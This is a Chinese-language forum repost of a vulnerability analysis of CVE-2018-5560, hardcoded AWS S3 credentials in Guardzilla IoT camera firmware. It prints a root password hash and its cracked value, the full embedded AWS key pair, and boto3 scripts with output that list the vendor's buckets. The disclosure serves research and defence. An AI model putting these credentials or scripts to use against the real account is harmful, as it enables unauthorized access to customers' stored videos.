資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊成為正式會(huì)員
查看: 1774|回復(fù): 0
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測試] CVE-2018-5560:Guardzilla IoT攝像機(jī)硬編碼憑證漏洞

[復(fù)制鏈接]

184

主題

347

帖子

14

精華

資源共享吧豪華貴族SVIP

Rank: 9Rank: 9Rank: 9

資源幣
18816
積分
3920
貢獻(xiàn)
1368
在線時(shí)間
1084 小時(shí)
注冊時(shí)間
2015-4-18
最后登錄
2020-2-22

終身成就常駐居民幽默大師灌水大師原創(chuàng)先鋒精華會(huì)員資源共享吧女神宣傳大使愛心大使

跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2019-5-20 15:41:19 | 只看該作者 |只看大圖 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式
概述
研究人員發(fā)現(xiàn)Guardzilla Security Video System Model #: GZ521WB中存在一個(gè)硬編碼憑證漏洞,CVE編號為CVE-2018-5560。該漏洞是Guardzilla Security Camera 固件中Amazon Simple Storage Service (S3,簡單存儲(chǔ)服務(wù))憑證設(shè)計(jì)和實(shí)現(xiàn)過程中的一個(gè)漏洞。因?yàn)閼{證是硬編碼的,所以黑客不需要高超的技術(shù)就可以訪問這些S3存儲(chǔ)憑證。研究人員進(jìn)一步分析發(fā)現(xiàn),硬編碼的憑證對該賬號的所有S3 bucket有無限訪問權(quán)限。雖然在測試過程中沒有訪問到用戶數(shù)據(jù),但是嵌入的S3憑證可以被用于查看和下載相關(guān)bucket中保存的文件和視頻。

受影響產(chǎn)品
Guardzilla All-In-One Video Security System(視頻安全多合一系統(tǒng))是一個(gè)提供室內(nèi)視頻監(jiān)控的家內(nèi)安全平臺(tái)。目前確認(rèn)GZ501W型號受到影響,其他型號未進(jìn)行測試。



技術(shù)分析
研究人員從芯片中提取出固件,發(fā)現(xiàn)其中含有SquashFS文件系統(tǒng)和Journaling Flash File System version 2 (JFFS2)文件系統(tǒng)。
因?yàn)檫@些文件系統(tǒng)是用binwalk提取的,因此可以在Message of The Day (MOTD)看到下面的字符串:

Copyright (C) 2005 Faraday Corp. www.faraday.com.tw
/etc/shadow文件中含有root管理員賬號的DES加密密碼:

    root:MvynOwD449PkM:0:0:99999:7:::
因?yàn)镈ES從2005年就被破解了,因此可以很容易地破解:

hashcat -m 1500 -a 3 -o ../guardzilla.found -O -i --increment-min=8 --increment-max=12 -w 3 -t 50 ../guardzilla.hash ?a?a?a?a?a?a?a?a?a?a?a?a?a
Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: MvynOwD449PkM
Time.Started.....: Tue Oct  2 07:36:30 2018 (3 hours, 35 mins)
Time.Estimated...: Tue Oct  2 11:12:06 2018 (0 secs)
Guess.Mask.......: ?a?a?a?a?a?a?a?a [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:  1176.6 MH/s (49.11ms) @ Accel:8 Loops:1024 Thr:256 Vec:1
Speed.Dev.#2.....:   776.5 MH/s (106.80ms) @ Accel:16 Loops:1024 Thr:256 Vec:1
Speed.Dev.#*.....:  1953.0 MH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 25226596581376/39062500000000 (64.58%)
Rejected.........: 0/25226596581376 (0.00%)
Restore.Point....: 201580544/312500000 (64.51%)
Candidates.#1....: sarKrvcz -> 9poL82dw
Candidates.#2....: AiLwoz3x -> jE3iABuo
HWMon.Dev.#1.....: Temp: 66c Fan: 99% Util: 99% Core:1797MHz Mem:5005MHz Bus:8
HWMon.Dev.#2.....: Temp: 82c Fan: 99% Util:100% Core:1632MHz Mem:4513MHz Bus:8
破解的密碼是: GMANCIPC
在啟動(dòng)過程中,init腳本會(huì)啟動(dòng)boot.sh,該腳本會(huì)啟動(dòng)/mnt/mtd/startapp和 /home/daemon.exe。startapp資源會(huì)啟動(dòng)配置底層視頻設(shè)置的vg_boot.sh和main.exe。下表表示main.exe和daemon.exe的二進(jìn)制信息:


嵌入的S3憑證無限訪問策略
研究人員在IDA Pro中分析固件,并從中提取出二進(jìn)制文件來確定其中是否存在漏洞。研究人員編譯main.exe并分析類似AWS憑證的字符串集合:


然后可以看到是從標(biāo)記的二進(jìn)制文件的輸出:accessKey, secretAccessKey, hostname, bucket。該格式與AWS bucket key的設(shè)計(jì)是一致的:




下面的腳本可以測試S3憑證來確定憑證是否有效以及憑證的訪問權(quán)限:

import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP34RKL7GGV7OQ',aws_secret_access_key='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',region_name='us-west-1')

try:
    result = s3.get_bucket_policy(Bucket='motion-detection')
    print(result)
except Exception as e:
    print(e)
運(yùn)行腳本產(chǎn)生的錯(cuò)誤表明motion-detection bucket的嵌入憑證中沒有特定的策略存在:

An error occurred (NoSuchBucketPolicy) when calling the GetBucketPolicy operation: The bucket policy does not exist
修改腳本可以列出嵌入的憑證可用訪問的S3 buckets:

import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP34RKL7GGV7OQ',aws_secret_access_key='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',region_name='us-west-1')

try:
    result = s3.list_buckets()
    print(result)
except Exception as e:
    print(e)
運(yùn)行腳本可用列出嵌入憑證可以訪問的buckets:

{
    'Buckets': [{
        'CreationDate': datetime.datetime(2017, 2, 16, 21, 52, 52, tzinfo = tzutc()),
        'Name': 'elasticbeanstalk-us-west-2-036770821135'
    }, {
        'CreationDate': datetime.datetime(2018, 4, 5, 15, 45, 22, tzinfo = tzutc()),
        'Name': 'facial-detection'
    }, {
        'CreationDate': datetime.datetime(2017, 11, 8, 19, 38, 15, tzinfo = tzutc()),
        'Name': 'free-video-storage'
    }, {
        'CreationDate': datetime.datetime(2018, 3, 9, 20, 7, 19, tzinfo = tzutc()),
        'Name': 'free-video-storage-persist'
    }, {
        'CreationDate': datetime.datetime(2016, 8, 15, 19, 53, 12, tzinfo = tzutc()),
        'Name': 'gz-rds-backups'
    }, {
        'CreationDate': datetime.datetime(2017, 11, 8, 19, 37, 44, tzinfo = tzutc()),
        'Name': 'gz-test-bucket'
    }, {
        'CreationDate': datetime.datetime(2017, 11, 8, 19, 38, 29, tzinfo = tzutc()),
        'Name': 'motion-detection'
    }, {
        'CreationDate': datetime.datetime(2017, 11, 8, 19, 38, 47, tzinfo = tzutc()),
        'Name': 'premium-video-storage'
    }, {
        'CreationDate': datetime.datetime(2018, 3, 9, 20, 6, 47, tzinfo = tzutc()),
        'Name': 'premium-video-storage-persist'
    }, {
        'CreationDate': datetime.datetime(2018, 1, 25, 20, 41, 16, tzinfo = tzutc()),
        'Name': 'rekognition-video-console-demo-cmh-guardzilla-2918n05v5rvh'
    }, {
        'CreationDate': datetime.datetime(2017, 5, 17, 16, 1, 9, tzinfo = tzutc()),
        'Name': 'setup-videos'
    }, {
        'CreationDate': datetime.datetime(2018, 1, 24, 23, 0, 39, tzinfo = tzutc()),
        'Name': 'wowza-test-bucket'
    }],
    'Owner': {
        'ID': 'a3db77fe2a21093a2f0d471b0a9677f8aff7c3c7b7a4944b752ccc0c3a4a4af7',
        'DisplayName': 'geoff'
    }
}
使用PACU AWS框架決定了嵌入憑證沒有權(quán)限獲取策略的更多信息:

{
  "AccessKeyId": "AKIAJQDP34RKL7GGV7OQ",
  "Arn": "arn:aws:iam::036770821135:user/motion-detection",
  "Roles": null,
  "KeyAlias": "Guardzilla",
  "AccountId": "036770821135",
  "UserId": "AIDAJQRSLLW52U7GLHFYE",
  "Groups": [],
  "Policies": [],
  "Permissions": {
    "Deny": {},
    "Allow": {}
  },
  "SecretAccessKey": "igH8yFmmpMbnkcUaCqXJIRIozKVaXaRhE7PWHAYa",
  "UserName": "",
  "RoleName": null,
  "SessionToken": null,
  "PermissionsConfirmed": false
}
OpenSSL 1.0.1g多漏洞
研究人員還發(fā)現(xiàn)該固件中引用了一個(gè)過期的OpenSSL庫。下面是OpenSSL庫1.0.1g已公布的漏洞情況:
CVE-2016-0705
OpenSSL1.0.2及之前版本和1.0.1及之前版本的crypto/dsa/dsa_ameth.c文件中的dsa_priv_decode函數(shù)中存在雙重釋放漏洞。遠(yuǎn)程攻擊者可借助惡意的DSA私鑰利用該漏洞造成拒絕服務(wù)(內(nèi)存損壞)。
CVE-2015-0292
OpenSSL存在拒絕服務(wù)漏洞,此漏洞可導(dǎo)致內(nèi)存破壞及程序崩潰。此漏洞位于base64-decoding中crypto/evp/encode.c內(nèi)的EVP_DecodeUpdate函數(shù)。原因是EVP_DecodeUpdate函數(shù)內(nèi)的整數(shù)下溢。遠(yuǎn)程攻擊者通過構(gòu)造的base64數(shù)據(jù)觸發(fā)緩沖區(qū)溢出,利用此漏洞。
CVE-2014-8176
OpenSSL 0.9.8zg、1.0.0m、1.0.1h之前版本,ssl/d1_lib.c內(nèi)的函數(shù)dtls1_clear_queues不安全地釋放數(shù)據(jù)結(jié)構(gòu),沒有考慮應(yīng)用數(shù)據(jù)會(huì)在ChangeCipherSpec及Finished消息之間到達(dá),存在安全漏洞,遠(yuǎn)程攻擊者利用此漏洞可造成拒絕服務(wù)(內(nèi)存破壞及應(yīng)用崩潰)
CVE-2016-0797
OpenSSL 1.0.2及更早版本、1.0.1及更早版本在函數(shù)BN_hex2bn/BN_dec2bn的實(shí)現(xiàn)上存在安全漏洞,可導(dǎo)致空指針間接引用及堆破壞等問題。
CVE-2015-0287
此漏洞位于crypto/asn1/tasn_dec.c的ASN1_item_ex_d2i函數(shù)實(shí)現(xiàn)內(nèi),原因是由于沒有重新初始化CHOICE及ADB數(shù)據(jù)結(jié)構(gòu)。遠(yuǎn)程攻擊者通過構(gòu)造的應(yīng)用利用此漏洞可導(dǎo)致無效寫操作、內(nèi)存破壞及程序崩潰。

研究人員還發(fā)現(xiàn)Guardzilla默認(rèn)用ipc login提示符來監(jiān)聽23端口。大量的UDP流量被發(fā)送到一個(gè)US-EAST-2 Amazon服務(wù)器。HTTP請求有:

54.68.243.114 (ec2-54-68-243-114.us-west-2.compute.amazonaws.com)
http://54.68.243.114/apns/apns.p ... 1KEXWU2BPWHCFZ5111A
http://54.68.243.114/apns/apns.p ... ent_time=1538239032
52.218.200.66 (s3-us-west-2-w.amazonaws.com)
研究人員分析二進(jìn)制文件發(fā)現(xiàn)了一些外部IP地址和外部數(shù)據(jù)源。下表表示main.exe中識(shí)別出的外部IP地址和數(shù)據(jù)源:


回復(fù)

使用道具 舉報(bào)

 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號-1 )

GMT+8, 2024-12-22 00:24 , Processed in 0.048746 second(s), 15 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表